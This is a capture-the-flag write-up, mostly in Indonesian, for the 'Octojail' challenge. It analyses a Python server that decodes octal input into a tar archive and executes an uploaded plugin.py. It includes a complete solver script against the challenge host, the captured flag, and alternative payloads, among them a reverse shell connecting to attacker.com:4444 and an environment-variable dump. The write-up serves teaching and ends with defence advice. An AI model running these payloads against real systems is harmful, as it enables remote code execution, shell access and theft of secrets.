Challenge Information
Challenge Name: Octojail
Author: thek0der
Category: Misc
Description: “We only like octal around here!”
Flag: ctf{0331641fadb35abb1eb5a9640fa6156798cba4538148ceb863dfb1821ac69000}
Challenge Analysis
Source Code
Challenge memberikan source code Python berikut:
#!/usr/bin/env python3
import io, os, re, sys, tarfile, importlib.util, signal
OCTAL_RE = re.compile(r'^[0-7]+$')
def to_bytes_from_octal_triplets(s: str) -> bytes: if not OCTAL_RE.fullmatch(s): sys.exit("invalid: only octal digits 0-7") if len(s) % 3 != 0: sys.exit("invalid: length must be multiple of 3") if len(s) > 300000: sys.exit("too long") return bytes(int(s[i:i+3], 8) for i in range(0, len(s), 3))
def safe_extract(tf: tarfile.TarFile, path: str): def ok(m: tarfile.TarInfo): name = m.name return not (name.startswith("/") or ".." in name) for m in tf.getmembers(): if ok(m): tf.extract(m, path)
def load_and_run_plugin(): for candidate in ("uploads/plugin.py", "plugin.py"): if os.path.isfile(candidate): spec = importlib.util.spec_from_file_location("plugin", candidate) mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) if hasattr(mod, "run"): return mod.run() break print("No plugin found.")
def timeout(*_): sys.exit("timeout")signal.signal(signal.SIGALRM, timeout)signal.alarm(6)
print("Send octal")data = sys.stdin.readline().strip()blob = to_bytes_from_octal_triplets(data)
bio = io.BytesIO(blob)try: with tarfile.open(fileobj=bio, mode="r:*") as tf: os.makedirs("uploads", exist_ok=True) safe_extract(tf, "uploads")except Exception as e: sys.exit(f"bad archive: {e}")
load_and_run_plugin()Program Flow
Mari kita breakdown apa yang dilakukan program ini:
1. Input Validation
OCTAL_RE = re.compile(r'^[0-7]+$')
def to_bytes_from_octal_triplets(s: str) -> bytes: if not OCTAL_RE.fullmatch(s): sys.exit("invalid: only octal digits 0-7") if len(s) % 3 != 0: sys.exit("invalid: length must be multiple of 3") if len(s) > 300000: sys.exit("too long") return bytes(int(s[i:i+3], 8) for i in range(0, len(s), 3))Program memvalidasi input dengan aturan:
- Hanya digit octal (0-7) yang diperbolehkan
- Panjang harus kelipatan 3 karena setiap 3 digit octal = 1 byte
- Maksimal 300,000 karakter untuk mencegah DoS
- Setiap 3 digit dikonversi ke byte:
"141"→int("141", 8)→97→ bytea
Contoh konversi:
"141" (octal) = 1×8² + 4×8¹ + 1×8⁰ = 64 + 32 + 1 = 97 = ASCII 'a'"150" (octal) = 1×8² + 5×8¹ + 0×8⁰ = 64 + 40 + 0 = 104 = ASCII 'h'2. Tar Archive Extraction
bio = io.BytesIO(blob)with tarfile.open(fileobj=bio, mode="r:*") as tf: os.makedirs("uploads", exist_ok=True) safe_extract(tf, "uploads")Setelah decode octal ke bytes:
- Bytes dibungkus dalam
BytesIOobject - Dibuka sebagai tar archive (mode
r:*auto-detect compression) - Extract ke folder
uploads/
3. Safe Extract Function
def safe_extract(tf: tarfile.TarFile, path: str): def ok(m: tarfile.TarInfo): name = m.name return not (name.startswith("/") or ".." in name) for m in tf.getmembers(): if ok(m): tf.extract(m, path)Fungsi ini mencoba mencegah path traversal dengan:
- ❌ Reject file yang dimulai dengan
/(absolute path) - ❌ Reject file yang mengandung
..(parent directory) - ✅ Extract hanya file yang “aman”
4. Plugin Loading
def load_and_run_plugin(): for candidate in ("uploads/plugin.py", "plugin.py"): if os.path.isfile(candidate): spec = importlib.util.spec_from_file_location("plugin", candidate) mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) if hasattr(mod, "run"): return mod.run() breakSetelah extract, program mencari plugin Python:
- Cek
uploads/plugin.pydulu - Jika tidak ada, cek
plugin.py - Load sebagai module dan execute
run()function
5. Timeout Protection
signal.signal(signal.SIGALRM, timeout)signal.alarm(6)Program akan timeout setelah 6 detik untuk mencegah infinite loops.
Vulnerability Analysis
The Vulnerability
Vulnerability utama ada di plugin loading mechanism:
for candidate in ("uploads/plugin.py", "plugin.py"): if os.path.isfile(candidate): spec = importlib.util.spec_from_file_location("plugin", candidate) mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) # ← ARBITRARY CODE EXECUTION!Program akan execute arbitrary Python code dari file plugin.py yang kita upload!
Why Safe Extract Isn’t Safe Enough
Meskipun ada safe_extract(), kita masih bisa:
- Upload file ke
uploads/plugin.py(tidak mengandung/atau..) - File akan di-extract ke
uploads/plugin.py - Program akan load dan execute code kita
Exploitation Path
[Octal String] ↓ decode[Tar Archive Bytes] ↓ extract[uploads/plugin.py] ↓ load & execute[Arbitrary Code Execution!]Solution
Strategy
- Create malicious plugin.py yang membaca flag
- Pack into tar.gz archive
- Convert to octal encoding
- Send to server
- Receive flag
Step-by-Step Exploitation
Step 1: Create Malicious Plugin
def run(): print(open('/app/flag.txt').read())Simple Python code yang:
- Define function
run() - Read
/app/flag.txt - Print isinya
Step 2: Create Tar Archive
with tarfile.open("payload.tar.gz", "w:gz") as tf: info = tf.gettarinfo("plugin.py") info.name = "plugin.py" # Nama dalam archive with open("plugin.py", "rb") as src: tf.addfile(info, src)Membuat tar.gz archive dengan:
- Compression: gzip
- Member name:
plugin.py(akan extract keuploads/plugin.py)
Step 3: Convert to Octal
data = open("payload.tar.gz", "rb").read()octal = "".join(f"{b:03o}" for b in data)Setiap byte dikonversi ke 3-digit octal:
- Byte
0x1F(31) →"037" - Byte
0x8B(139) →"213" - Format:
{byte:03o}= zero-padded 3-digit octal
Step 4: Send to Server
s = socket.create_connection((HOST, PORT))s.sendall((octal + "\n").encode())Connect dan kirim octal string diakhiri newline.
Step 5: Receive Output
out = b""while True: try: chunk = s.recv(4096) if not chunk: break out += chunk except Exception: breakprint(out.decode(errors="ignore"))Receive semua output sampai connection close.
Full Exploit Code
#!/usr/bin/env python3import tarfile, socket
HOST, PORT = "ctf.ac.upt.ro", 9908
# 1. Create malicious plugin.pywith open("plugin.py", "w") as f: f.write("def run():\n print(open('/app/flag.txt').read())\n")
# 2. Create tar.gz archivewith tarfile.open("payload.tar.gz", "w:gz") as tf: info = tf.gettarinfo("plugin.py") info.name = "plugin.py" with open("plugin.py", "rb") as src: tf.addfile(info, src)
# 3. Read archive and convert to octaldata = open("payload.tar.gz", "rb").read()octal = "".join(f"{b:03o}" for b in data)
print(f"[*] Payload size: {len(data)} bytes")print(f"[*] Octal length: {len(octal)} chars")
# 4. Connect and send payloadprint(f"[*] Connecting to {HOST}:{PORT}")s = socket.create_connection((HOST, PORT))s.sendall((octal + "\n").encode())
# 5. Receive outputout = b""while True: try: chunk = s.recv(4096) if not chunk: break out += chunk except Exception: break
print("[+] Output:")print(out.decode(errors="ignore"))
s.close()Running the Exploit
$ python3 solver.py[*] Payload size: 156 bytes[*] Octal length: 468 chars[*] Connecting to ctf.ac.upt.ro:9908[+] Output:Send octalctf{0331641fadb35abb1eb5a9640fa6156798cba4538148ceb863dfb1821ac69000}Key Takeaways
What We Learned
-
Octal Encoding
- Octal adalah base-8 numbering system (0-7)
- Sering digunakan untuk encoding/obfuscation
- 3 octal digits = 1 byte (karena 8³ = 512 > 256)
-
Tar File Structure
- Tar archives bisa contain arbitrary files
- Python
tarfilemodule support compression (gz, bz2, xz) - Member names bisa dimanipulasi
-
Path Traversal Defense
- Blocking
..dan/adalah insufficient - Perlu check resolved path dengan
os.path.realpath() - Better: use whitelist approach
- Blocking
-
Dynamic Code Loading
importlibsangat powerful tapi dangerous- Loading user-supplied code = RCE
- Always sandbox untrusted code
Defense Recommendations
Untuk mencegah vulnerability seperti ini:
# BAD - Vulnerablespec.loader.exec_module(mod)
# BETTER - Validate contentimport asttree = ast.parse(plugin_code)# Analyze AST, block dangerous imports
# BEST - Don't execute user code# Use configuration files (JSON/YAML) insteadAlternative Approaches
Method 1: Direct File Read
Alih-alih menggunakan open(), kita bisa:
def run(): import subprocess print(subprocess.check_output(['cat', '/app/flag.txt']).decode())Method 2: Reverse Shell
Untuk persistent access:
def run(): import socket, subprocess, os s = socket.socket() s.connect(("attacker.com", 4444)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(["/bin/sh", "-i"])Method 3: Environment Variables
Check untuk secrets di environment:
def run(): import os print(os.environ)Conclusion
Challenge octojail adalah excellent example dari:
- Custom encoding schemes (octal)
- Archive manipulation
- Python sandbox escape
- Arbitrary code execution
Vulnerability terjadi karena program me-load dan execute user-supplied Python code tanpa proper sandboxing. Meskipun ada protection untuk path traversal, fundamental design flaw membuat challenge ini vulnerable.
Flag: ctf{0331641fadb35abb1eb5a9640fa6156798cba4538148ceb863dfb1821ac69000}
Challenge Rating: Medium
Skills Required: Python, Tar files, Octal encoding, Code analysis
Skills Learned: Archive exploitation, Dynamic module loading, Encoding schemes
Happy hacking! 🚩